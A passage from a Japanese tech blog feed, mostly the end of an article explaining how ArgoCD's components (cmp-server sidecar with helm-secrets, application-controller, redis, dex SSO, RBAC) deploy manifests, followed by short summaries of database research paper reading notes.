を実行する機能を持っています。しかし、実行できないツールではサイドカー (cmp-server) をコールします。この時、Applicationの.spec.source.pluginキーでプラグイン名を指定すると、そのApplicationではサイドカーをコールします。逆を言えば、プラグイン名を指定していないApplicationは、サイドカーをコールしない です。apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: foo-application namespace: foospec: source: plugin: name: helm-secrets # このプラグイン名は、ConfigManagementPluginのmetadata.nameキーに設定したもの ...このコールは、Volume上のUnixドメインソケットを経由します。Unixドメインソケットのエンドポイントの実体は.sockファイルです。$ kubectl exec -it argocd-repo-server -c foo-plugin-cmp-server\\\\ -- bash -c \\"ls /home/argocd/cmp-server/plugins/\\"foo-plugin.sock▶ UnixソケットドメインについてASCII.jp:Unixドメインソケット (1/2)(5) repo-serverによる暗号化キーと暗号化変数の取得cmp-serverは、暗号化キー (例:AWS KMS、Google CKMなど) を使用してSecretストア (例:AWS SecretManager、Google SecretManager、SOPS、Vaultなど) の暗号化変数を復号化します。▶ クラウドプロバイダーの暗号化キーを使用するために必要な証明書について/etc/sslディレクトリ (ディレクトリはOSによって異なる) に証明書が無く、cmp-serverがHTTPSプロトコルを使用できない可能性があります。その場合は、お好きな方法で証明書をインストールし、コンテナにマウントするようにしてください\uD83D\uDC4DapiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest ... # サイドカーのcmp-server - name: helm-secrets-cmp-server image: ubuntu:latest ... volumeMounts: # サイドカーがAWS KMSを使用する時にHTTPSリクエストを送信する必要があるため、証明書をマウントする - name: certificate mountPath: /etc/ssl ... initContainers: - name: certificate-installer image: ubuntu:latest command: - /bin/sh - -c args: - | apt-get update -y # ルート証明書をインストールする apt-get install -y ca-certificates # 証明書を更新する update-ca-certificates volumeMounts: - mountPath: /etc/ssl name: certificate volumes: - name: certificate emptyDir: {}(6) サイドカーによるプラグイン処理の取得cmp-serverは、マニフェスト管理ツールのプラグイン (helm-secrets、argocd-vault-pluginなど) を実行します。この時マニフェストの作成時のプラグインとして、ConfigMap配下のConfigManagementPluginでプラグインの処理を定義します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、プラグインとしてhelm-secretsを採用し、helm secrets templateコマンドの実行を定義します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmp-cm namespace: foodata: helm-secrets-plugin.yaml: | apiVersion: argoproj.io/v1alpha1 kind: ConfigManagementPlugin metadata: namespace: foo name: helm-secrets # このプラグイン名は、Applicationのspec.source.pluginキーで指定したもの spec: generate: command: - /bin/bash - -c args: - | set -o pipefail helm secrets template -f $ARGOCD_ENV_SECRETS -f $ARGOCD_ENV_VALUES -n $ARGOCD_APP_NAMESPACE $ARGOCD_APP_NAME . foo-plugin.yaml: | ...▶ ConfigManagementPluginのファイル名について(7) サイドカーによるプラグイン処理の実行cmp-serverはプラグインを実行し、Secretを含むマニフェストを作成します。ConfigMap配下のファイルをplugin.yamlの名前でサイドカーにマウントする必要があります。また、先ほどのUnixドメインソケットの.sockファイルや、 cmp-serverがプラグインを実行するための各バイナリファイルもマウントが必要です。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、helm-secretsプラグインを実行するサイドカー (helm-secrets-cmp-server) を作成します。apiVersion: v1kind: Podmetadata: name: argocd-repo-serverspec: containers: # repo-server - name: repo-server image: quay.io/argoproj/argocd:latest ... # helm-secretsのcmp-server - name: helm-secrets-cmp-server # コンテナイメージは軽量にする image: ubuntu:latest command: - /var/run/argocd/argocd-cmp-server env: # helmプラグインの場所を設定する - name: HELM_PLUGINS value: /helm-working-dir/plugins securityContext: runAsNonRoot: true runAsUser: 999 volumeMounts: # リポジトリのクローンをコンテナにマウントする - name: tmp mountPath: /tmp # ConfigManagementPluginのマニフェスト (helm-secrets.yaml) を \\"plugin.yaml\\" の名前でコンテナにマウントする - name: argocd-cmp-cm mountPath: /home/argocd/cmp-server/config/plugin.yaml subPath: helm-secrets.yaml # コンテナ間で通信するためのUnixドメインソケットファイルをコンテナにマウントする - name: plugins mountPath: /home/argocd/cmp-server/plugins # 任意のツールのバイナリファイルをコンテナにマウントする - name: custom-tools mountPath: /usr/local/bin # helmプラグインのバイナリをコンテナにマウントする - name: helm-working-dir mountPath: /helm-working-dir/plugins ... # Podの共有ボリューム volumes: # リポジトリのクローンを含む - name: tmp emptyDir: {} # Helmなどの任意のツールを含む - name: custom-tools emptyDir: {} # helmプラグインを含む - name: helm-working-dir emptyDir: {}▶ マウント時のConfigManagementPluginのファイル名についてv2.6では、ConfigManagementPluginのマニフェストを/home/argocd/cmp-server/configディレクトリに、plugin.yamlの名前でマウントしないといけません。これは、cmp-serverの起動コマンド (/var/run/argocd/argocd-cmp-server) がplugin.yamlの名前しか扱えないためです。ArgoCD公式の見解で、サイドカーでは単一のプラグインしか実行できないように設計しているとのコメントがありました。今後のアップグレードで改善される可能性がありますが、v2.6では、ConfigManagementPluginの数だけcmp-serverが必要になってしまいます\uD83D\uDE47\uD83C\uDFFB‍use multiple plugins in sidecar installation method \xb7 argoproj argo-cd \xb7 Discussion #12278 \xb7 GitHub▶ Kustomizeのプラグインをどのコンテナで実行するかについて▶ クラウドプロバイダーのSecretストアを採用する場合についてHow to manage Kubernetes secrets with GitOps? | Akuity04. application-controller、redis-serverapplication-controllerとはコアドメインレイヤーにあるapplication-controllerです。Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。redis-serverとはインフラレイヤーにあるredis-serverです。application-controllerの処理結果のキャッシュを保管します。仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンドArgoCD用Clusterの管理者は、ClusterにArgoCD系のカスタムリソース (例:Application、AppProjectなど) をデプロイします。▶ ArgoCD自体のデプロイにargo-helmを採用する場合についてGitHub - argoproj/argo-helm: ArgoProj Helm ChartsただしHelmの重要な仕様として、チャートの更新時に使用するhelm upgradeコマンドは、CRDを作成できる一方でこれを変更できません。HelmでCRDを作成するとHelmの管理ラベルが挿入されてしまうため、作成の時点からCRDがHelmの管理外となるように、kubectlコマンドでCRDを作成した方がよいです\uD83D\uDC4D$ kubectl diff -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"$ kubectl apply -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"ArgoCD上でHelmを使用してデプロイする場合はこの仕様を気にしなくてよいのかな、と思った方がいるかもしれないです。ですが本記事で解説した通り、ArgoCDはcmp-serverのhelm templateコマンド (この時、--include-crdsオプションが有効になっている) や、application-controllerのkubectl applyコマンドを組み合わせてマニフェストをデプロイしているため、CRDもちゃんと更新してくれます\uD83D\uDC4D\uD83C\uDFFB️Helm | Custom Resource Definitions(2) application-controllerによるArgoCD系カスタムリソースのReconciliationkube-controller-managerは、application-controllerを操作し、Reconciliationを実施します。application-controllerは、Etcd上に永続化されたマニフェストと同じ状態のArgoCD系カスタムリソースを作成/変更します。▶ カスタムコントローラーでもあるapplication-controllerについてHow Operators work in Kubernetes | Red Hat Developer(3) application-controllerによるマニフェスト取得application-controllerは、repo-serverからリポジトリのマニフェストを取得します。取得したマニフェストは、repo-serverのサイドカーであるcmp-serverが作成したものです。(4) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。application-controllerには、gitops-engineパッケージが内蔵されており、これはヘルスチェックからデプロイまでの基本的な処理を実行します。▶ gitops-engineパッケージについてv0.7.0 では以下のディレクトリからなります\uD83D\uDC47\uD83D\uDC31 gitops-engine/├── \uD83D\uDCC2 pkg│ ├── cache│ ├── diff # リポジトリとClusterの間のマニフェストの差分を検出する。ArgoCDのDiff機能に相当する。│ ├── engine # 他のパッケージを使い、GitOpsの一連の処理を実行する。│ ├── health # Clusterのステータスをチェックする。ArgoCDのヘルスチェック機能に相当する。│ ├── sync # Clusterにマニフェストをデプロイする。ArgoCDのSync機能に相当する。│ └── utils # 他のパッケージに汎用的な関数を提供する。│...gitops-engine/specs/design-top-down.md at v0.7.0 \xb7 argoproj/gitops-engine \xb7 GitHub(5) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、repo-serverから取得したマニフェストの差分を検出します。ここで、kubectl diffコマンドの実行が自動化されています。(6) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。redis-serverは、Applicationやリポジトリのコミットの単位で、application-controllerの処理結果を保管しています。$ kubectl exec -it argocd-redis-server \\\\ -n foo \\\\ -- sh -c \\"redis-cli --raw\\"127.0.0.1:6379> keys *...app|resources-tree||<キャッシュバージョン>cluster|info|<プロダクト用ClusterのURL>|<キャッシュバージョン>git-refs|<マニフェスト/チャートリポジトリのURL>|<キャッシュバージョン>mfst|app.kubernetes.io/instance||<最新のコミットハッシュ値>|<デプロイ先Namespace>|*****|<キャッシュバージョン>...(7) application-controllerによるマニフェストデプロイapplication-controllerは、Applicationの操作に応じて、Clusterにマニフェストをデプロイします。ここで、kubectl applyコマンドの実行が自動化されています。▶ application-controllerがマニフェストを操作した証拠についてmetadata.managedFieldsキーがあり、何がそのマニフェストを作成/変更したのかを確認できます。実際にマニフェストを確認してみると、確かにapplication-controllerがマニフェストを作成/変更してくれたことを確認できます。apiVersion: apps/v1kind: Deploymentmetadata: managedFields: # ArgoCDのapplication-controllerによる管理 - manager: argocd-application-controller apiVersion: apps/v1 # kube-apiserverに対するリクエスト内容 operation: Update time: \\"2022-01-01T16:00:00.000Z\\" # ArgoCDのapplication-controllerが管理するマニフェストのキー部分 fields: ...️Server-Side Apply | Kubernetes05. dex-serverdex-serverとはインフラレイヤーにあるdex-serverです。SSO (例:OAuth 2.0、SAML、OIDC) を採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダー (例:GitHub、Keycloak、AWS Cognito、Google Authなど) に送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。GitHub - dexidp/dex: OpenID Connect (OIDC) identity and OAuth 2.0 provider with pluggable connectors▶ dex-serverの必要性について2.0、SAML) を使用する場合は、dex-serverを採用する必要があります\uD83D\uDC4D️Overview - Argo CD - Declarative GitOps CD for Kubernetes仕組み(1) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(2) IDプロバイダーへの認証フェーズ委譲argocd-serverは、認証フェーズをIDプロバイダーに委譲するために、dex-serverをコールします。▶ 認証フェーズの委譲についてAuthentication and Authorization - Argo CD - Declarative GitOps CD for Kubernetes(3) dex-serverによる認可リクエスト作成dex-serverは、認可リクエストを作成します。認可リクエストに必要な情報は、ConfigMap (argocd-cm) で設定しておく必要があります。argocd-cmのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、IDプロバイダーをGitHubとし、認可リクエストに必要なクライアントIDとクライアントシークレットを設定しています。apiVersion: v1kind: ConfigMapmetadata: namespace: foo name: argocd-cmdata: dex.config: | connectors: - type: github id: github name: GitHub SSO config: clientID: ***** clientSecret: ***** # dex-serverが認可レスポンスによるリダイレクトを受信するURLを設定する redirectURI: https://example.com/api/dex/callback▶ dex-serverの設定についてdex.configキー配下の設定方法は、dexのドキュメントをみるとよいです\uD83D\uDC4DAuthentication Through GitHub |(4) dex-serverによる認可リクエスト送信dex-serverは、前の手順で作成した認可リクエストをIDプロバイダーに送信します。(5) IDプロバイダーによる認証フェーズ実施IDプロバイダー側でSSOの認証フェーズを実施します。IDプロバイダーは、コールバックURL (/api/dex/callback) を指定して、認可レスポンスを送信します。認可レスポンスはリダイレクトを発生させ、argocd-serverを介して、再びdex-serverに届きます。この後、dex-serverはIDプロバイダーのトークンエンドポイントにリクエストを送信し、またIDプロバイダーからトークン (アクセストークン、IDトークンなど) やユーザー情報を取得します。ただ、SSOの種類によって仕組みが異なるため、詳細は省略します。▶ dex-serverのコールバックURLについてDeveloper settingsタブ でSSOを設定する必要があり、この時にAuthorization callback URLという設定箇所があるはずです\uD83D\uDC4D\uD83C\uDFFB(6) argocd-serverによる認可フェーズ実施argocd-serverは、AuthZで認可フェーズを実施します。ConfigMap (argocd-rbac-cm) を参照し、IDプロバイダーから取得したユーザーやグループに、ArgoCD系カスタムリソースに関する認可スコープを付与します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、developerロールにはdevというAppProjectに属するArgoCD系カスタムリソースにのみ、またmaintainerロールには全てのAppProjectの操作を許可しています。またこれらのロールを、IDプロバイダーで認証されたグループに紐づけています。特定のArgoCD系カスタムリソースのみへのアクセスを許可すれば、結果として特定のClusterへのデプロイのみを許可したことになります\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール policy.default: role:developer policy.csv: | p, role:developer, *, *, dev/*/*, allow p, role:maintainer, *, *, dev/*/*, allow p, role:maintainer, *, *, prd/*/*, allow g, developers, role:developer g, maintainers, role:maintainer scopes: \\"[groups]\\"▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetes06. argocd-server (argocd-apiserver)argocd-serverとは最後に、インフラレイヤーにあるargocd-serverです。『argocd-apiserver』とも呼ばれます。みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能し、他のコンポーネントと通信します\uD83E\uDD84仕組み(1) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。(2) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、ポーリング対象のリポジトリのマニフェストの差分を検出します。(3) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(4) application-controllerによる処理結果取得argocd-serverは、redis-serverから処理結果を取得します。(5) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(6) IngressコントローラーによるルーティングIngressコントローラーは、Ingressのルーティングルールを参照し、argocd-serverにルーティングします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) IDプロバイダーによる認証フェーズ実施IDプロバイダー上で認証フェーズが完了します。argocd-serverは、ConfigMap (argocd-rbac-cm) を参照し、プロダクト用Cluster管理者に認可スコープを付与します。(9) argocd-serverによる認可フェーズ実施argocd-serverは、認可スコープに応じて、プロダクト用Cluster管理者がApplicationを操作可能にします。▶ NamespacedスコープモードについてapiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata: # 設定してはダメ # application.namespaces: \\"*\\" # 全てのNamespaceを許可する。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: dev-foo-project namespace: foospec: # 設定してはダメ # sourceNamespaces: # - \\"foo\\"これらにより、fooのNamespaceに属するArgoCDは、他のNamespaceにはアクセスできなくなります\uD83D\uDC4DInstallation - Argo CD - Declarative GitOps CD for Kubernetes(10) application-controllerによるマニフェストデプロイプロダクト用Cluster管理者は、ダッシュボード (argocd-server) を使用して、ClusterにマニフェストをSyncします。この時、Applicationを介してapplication-controllerを操作し、マニフェストをデプロイします。図では、App Of Appsパターンを採用したと仮定しています\uD83D\uDC68‍\uD83D\uDC69‍\uD83D\uDC67‍\uD83D\uDC66▶ App Of Appsパターンについて07. アーキテクチャのまとめ今までの全ての情報をざっくり整理して簡略化すると、ArgoCDは以下の仕組みでマニフェストをデプロイすることになります\uD83D\uDC4708. おわりにArgoCDによるデプロイの仕組みの仕組みをもりもり布教しました。ArgoCDは、UIが使いやすく、仕組みの詳細を知らずとも比較的簡単に運用できるため、ユーザーフレンドリーなツールだと思っています。もしArgoCDを使わずにマニフェストをデプロイしている方は、ArgoCDの採用をハイパー・ウルトラ・アルティメットおすすめします\uD83D\uDC4D謝辞ArgoCDの設計にあたり、以下の方に有益なプラクティスをご教授いただきました。@yaml_villager さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/05/02/145115","isoDate":"2023-05-02T05:42:57.000Z","dateMiliSeconds":1683006177000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"現代のクエリオプティマイザの基礎となる技術をまとめた論文を読みました","contentSnippet":"この記事の趣旨1998年に発表されたクエリオプティマイザの基礎としてとくに重要な手法をまとめた論文を読みました。An Overview of Query Optimization in Relational Systems著者についてSurajit Chaudhuriによる論文Microsoft所属の研究者でRDBMSの研究を行なっており、近年ではCloudにおけるDBMSの研究を行なっている。概要RDBMSが提案された1970年代からクエリ最適化は大規模で幅の広く研究が行なわれてきた。この論文では執筆当時(1998年)までの重要な研究の基礎を説明している。手法探索空間統計情報とコストの推定列挙アルゴリズムアルゴリズムについて説明している。論文内では拡張可能なオプティマイザとして、StarburstとVolcano/Cascadeの2種類のオプティマイザの詳細を論じている。最新(当時)の最適化リアライズドビューについて説明している。作業時間read31:4031:40author33:402:00summary52:5519:15感想ベクトル化やパラレルジョインで扱われていたVolcanoオプティマイザの端に触れることが出来ました。内容としては基礎的な内容が多いものの、知らない概念もいくつかあり引用している論文も読みたいです。クエリ最適化の基礎を学ぶのに非常にいい内容でした。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/15_query_optimization_overview","isoDate":"2023-05-02T01:54:29.000Z","dateMiliSeconds":1682992469000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSとクライアント間におけるデータ転送を最適化する論文を読みました","contentSnippet":"この記事の趣旨2017年に出版されたリモートDBMSとクライアント間の大量データ転送を最適化する手法を提案する論文を読みました。Don’t Hold My Data Hostage – A Case For Client Protocol Redesign著者についてMark Raasveldt、Hannes Muhleisenらのグループによる論文。いずれもCentrum Wiskunde & Informaticaの所属で、DuckDBのCxO。DBMSと分析システムにおけるパフォーマンス最適化を研究している。問題意識DBMSからクライアントプログラムに大量のデータを転送することは一般的なタスクである。例えばRやPythonなどを用いた分析システムはしばしばデータベース・インターフェースを利用してデータの取得を行なっている。一方でネットワーク越しにデータを転送することはレイテンシを増加させ、転送時間を長引かせる要因である。そのため分析用途で大量のデータ転送を避け、一部のデータをサンプルとして利用するに止まることが多い。このアプローチはパフォーマンスの低下を押さえられるものの、分析や機械学習の精度を下げることに繋がる。とくに既存のクライアントではネットワークによるレイテンシとスループットの制限に大きな影響を受けパフォーマンスを劣化させる。この問題はデータベースが別マシンやクラウドで動作するときにより大きな問題となる。手法本論文では既存のシリアライズ手法と圧縮手法によるパフォーマンスへの影響を計測し、新しいプロトコルとして以下の特性を持つ手法を提案している。1. チャンク毎のデータ転送と(デ)シリアライゼーション1. ヒューリスティックによる圧縮方法の決定1. text/binaryによるカスタムシリアライゼーションを使用する1. NULL終端によるテキストの取り扱い実験結果提案手法を実装したMonetDB(表内ではMonetDB++)とPostgreSQL(表内ではPostgreSQL++)を既存のDBMSやnetcatと比較することで評価を行なっている。TCP-Hのlineitem、American Community Survay、Airline On-Time Statisticsの3つのデータセットで評価を行なったところ、ローカル通信における非圧縮netcatを除き殆どのケースでMonetDB++系が最良のパフォーマンスを発揮し次点でPostgreSQL++系が優れた結果を残している。Table 10Table 11Table 12PostgreSQLに比べMonetDBが優れている理由はPostgreSQLの行指向データを列指向に変換するコストのためである。作業時間read31:2131:21author35:384:17summary70:1334:35感想論文出版時にはTPC/IPプロトコルが前提でQuic登場前のため、ネットワークプロトコル自体は考慮されていない。現在であればTPC/IPとQuicに適合した手法の比較が行なわれると思うので気になるところ。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/14_data_transfer_between_server_and_client","isoDate":"2023-05-01T03:34:18.000Z","dateMiliSeconds":1682912058000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"SQL ServerにおけるUDF最適化の論文を読みました","contentSnippet":"この記事の趣旨2017年に発表されたSQL ServerでUDFを最適化しているFroidという手法についての論文を読みました。Froid: Optimization of Imperative Programs in a Relational Database著者についてKarthik Ramachandra、Kwanghyun Park、K. Venkatesh Emani、Alan Halverson、Cesar Galindo-Legaria、Conor Cunninghamのグループによる論文。ほとんどの著者はMicrosoftに所属しており、いずれもトランザクショナルワークロードでのRDBMSの最適化や分析ワークロードにおけるRDBMS最適化の研究をしている。問題意識RDBMSではSQLによるデータ処理アプローチと、UDFやストアドプロシージャなどによる命令型のデータ処理アプローチを提供している。SQLによるデータアクセスは高度に最適化されてきた一方で、命令型のデータ処理は非効率なため性能を阻害し利用を禁止している組織すらある。UDFによるデータアクセスは非効率であるものの、SQLに比べ下記のような利点を提供するため幅広く利用されているのも事実である。1. SQL間でコードの再利用方法を提供する1. 複雑なビジネスロジックやMLアルゴリズムなどSQLでは難しい表現を可能にする1. 単純なSQLの組み合わせのため、ユーザーの意図が明確に表現できるこれらのメリットを享受するためにRDBMSにおける命令型データアクセス手法のパフォーマンスを向上しする必要があった。手法提案手法であるFroidはMicrosoft SQL Serverにおける命令型コードのパフォーマンス向上の手法として、UDFを複雑なサブクエリとしてみなすアプローチを取っている。UDFを構成する命令はDECLARE、SELECT、IF/ELSE、RETURN、他のUDF、リレーショナルオペレーションの6つに分ることができる。提案手法ではこれらの命令を一般的なT-SQLに置き換え、Apply演算により一つの関係式に結合する方法で実現している。Table 1命令が一般SQLに置き換えられることでUDFに対して、SQLに用いられていた高度な最適化を導入することが出来る。また提案手法ではい以下の理由から、SQLとして命令を置換するときにクエリ最適化時に行なうのではなくバインド時に置換をしている。1. 実際のワークロードでの実験ではほぼ全てのケースでバインド時のほうが性能がよかった1. クエリオプティマイザの変更が不要1. バインディング時に特定の最適化を行なえるとくにクエリオプティマイザの変更はSQL Serverが商用データベースなため重要であった。作業時間read28:5028:50author32:103:20summary57:0024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/13_sql_server_udf_optimization","isoDate":"2023-04-28T02:29:05.000Z","dateMiliSeconds":1682648945000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pull Requestで意識していること","contentSnippet":"どんな記事?Pull Request(以後PR)で自分がレビュイのときに意識していることをまとめてみました。PRだけじゃなくSlack等のテキストベースコミュニケーションでも同じようなことを意識…","link":"https://qiita.com/bayobayo0324/items/0d986370e0de95705b6f","isoDate":"2023-04-28T02:19:23.000Z","dateMiliSeconds":1682648363000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"DBMSの歴史とNewSQL","contentSnippet":"この記事はDBMSの登場以前から現代のDBMSを取り巻く環境までを振り返ることで、なぜNewSQLが必要とされ登場したのかをまとめます。 おことわり筆者はあくまでDBMSユーザーであり、研究者ではないため内容は個人の見解です。また対象読者はある程度DBMSに関わりがあり、OLTPやOLAP、列指向や行指向といった基本的な単語を理解しているものとします。またNewSQLの技術的詳細はスコープ外とします。 DBMS以前データベースという言葉は1950年代に米軍が情報基地を集約したことに由来します。一方で学術的なデータベースの起源はW. C. McGeeが1959年に発表...","link":"https://zenn.dev/nnaka2992/articles/history_of_db_and_newsql","isoDate":"2023-04-26T14:28:19.000Z","dateMiliSeconds":1682519299000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"中間結果が莫大になるときの結合を最適化する最悪ケース最適化結合をRDBMSに適応する論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された分析ワークロードなどで発生しがちな最終結果に比べ、非常に大きな中間結果を作成してしまうクエリを多方向結合で最適化する論文を読みました。Adopting Worst-Case Optimal Joins in Relational Database Systems著者についてMichael Freitag、Maximilian Bandle、Tobias Schmidt、Alfons Kemper、Thomas Neumannによるグループの論文いずれの著者もDBMSにおける最適化を中心に研究しており、それぞれ分析ワークロードにおける最適化や最新のハードウェアにおける最適化などを研究している。問題意識従来のRDBMSにおける結合処理のほとんどはバイナリ結合に依存して複数のリレーションにまたがるクエリを処理してきた。数十年に渡る研究によりバイナリ結合は幅広い柔軟性と優れた性能を発揮するようになった。その一方でバイナリ結合による実行計画は特定のワークロードでは最適ではないケースを示すことが知られている。主な原因として実際のクエリ結果に比べて非常に大きな中間結果を生成するためである。とくにPK以外のキーによる結合が多くなる分析ワークロードではそのような状態を避けることが難しく、またグラフ分析のようなクエリパターンでも多く見られる。近年の論理的な進歩により中間結果の列挙を避ける多方向結合のアルゴリズムが開発可能になった。この手法はバイナリ結合計画より優れた実行時間を保証できるため、RDBMSの堅牢性を大幅に向上させる可能性を持っている。しかし現状最悪ケース最適化結合アルゴリズムでは以下のような問題を抱えている。1. 膨大なストレージとメンテナンスを必要とする結合に参加出来るカラムを含むインデックスを必要とする。1. RDBMSは挿入と更新のサポートが必要なものの、既存のアルゴリズムは高価な事前計算を必要とする。そのため本論文は以下の制約を満たすアプローチを提案している1. 多方向結合が有益な場合のみ多方向結合を使用するオプティマイザを必要とする。1. 実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。手法提案手法では比較ベースではなくハッシュベースの結合のため、2の「実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。」という要素の考慮を除いている。またオプティマイザについては既存のコストベースのものを拡張し適応している。提案手法では潜在的に成長している結合のカスケードを最悪の場合の最適結合に置き換えることで、最適化されたバイナリ結合計画を洗練させるヒューリスティックなアプローチを提案している。通常の結合順序最適化で使用されるのと同じカーディナリティ推定値に基づいて、中間テーブルが膨大になる結合を特定する。作業時間read22:1322:13author25:483:35summary52:5826:50感想とても難しい内容に感じてしまい、殆ど頭を通りすぎてしまった気がする。今まで最適化は触れずに来たため、理解が浅い領域だった。よくよく考えるとDBMSの話しに最適化が登場するのはあたりまえなので、今後はその方面にも触れて行きたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/12_worst_case_optimal_join","isoDate":"2023-04-26T02:06:46.000Z","dateMiliSeconds":1682474806000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"gptstudio = ChatGPT + RStudioがおもしろい","contentSnippet":"ChatGPTを使ってRStudio上でのコーディングを支援するgptstudioパッケージが登場しました。姉妹製品に[gpttoools]パッケージもあります。利用にはOpenAIのAPI Keyが必要にです。生成するトークンに対する従量課金制ですが、$5のお試し枠がついてます。","link":"https://blog.atusy.net/2023/04/26/gptstudio/","isoDate":"2023-04-26T00:00:00.000Z","dateMiliSeconds":1682467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"マルチコアメインメモリにおけるソートジョインとハッシュジョインのパフォーマンスを検証した論文を読みました","contentSnippet":"この記事の趣旨2013年に発表された\\"Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited\\"という論文を読みました。当時最新のアルゴリズムとハードウェアにおける、ソートとハッシュによる結合のパフォーマンスを比べた論文です。Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited著者についてCagri Balkesen、Gustavo Alonso、Jens Teubner、M. Tamer Ozsuらのグループによる論文いずれもDBMSにおけるクエリ最適化やビッグデータにおけるパフォーマンスを研究している。またGustavo Alonsoはハードウェアや分散システムもメインのフィールドとしている。問題意識DBMSにおいて常にソートマージとハッシュ結合の性能比較が行われており、最新の研究ではSIMDやNUMAへの適正に基づいてソートマージがより優れていると結論づけられていた。しかしこれらの分野は常に研究が重ねられ、過去の検証時には登場していなったハッシュ結合の最適化手法が生れた。この論文ではそれらを適用し再度ソートマージとハッシュ結合の性能比較を行なう。手法本論文では以下に分けて結合手法の評価を行なっている。1. ソートフェーズの評価SIMDソートアルゴリズムとC++のSTLソートアルゴリズムを比較している。マージフェーズの評価入力サイズの調整によるマージフェーズの最適化パーマンスを検証している。ソートマージジョインにおける影響要因の特定結果結合対象のデータサイズに拘わらずハッシュによる結合がソートベースの結合のパフォーマンスを上回っている。Figure 14ソートマージによる結合は入力サイズが著しく大きくなったときのみハッシュ結合のパフォーマンスに近づく。Figure 15ソートマージ、ハッシュ結合におけるデータの偏りはパフォーマンスに大きな影響を及ぼさなかった。Figure 16いずれのアルゴリズムも物理的なコア数では線形にスケールした。Figure 17作業時間read23:1123:11author27:093:58summary60:1232:57","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/11_join_performance_comparison","isoDate":"2023-04-24T02:23:54.000Z","dateMiliSeconds":1682303034000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"RDBでの結合手法を比較した論文を読みました","contentSnippet":"この記事の趣旨2016年に発表された\\"An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory\\"という論文を読みました。様々な結合手法を包括的に比較した論文でどのような結合方法がどのような時に適しているかを示しています。An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory著者についてStefan Schuh、Xiao Chen、Jens 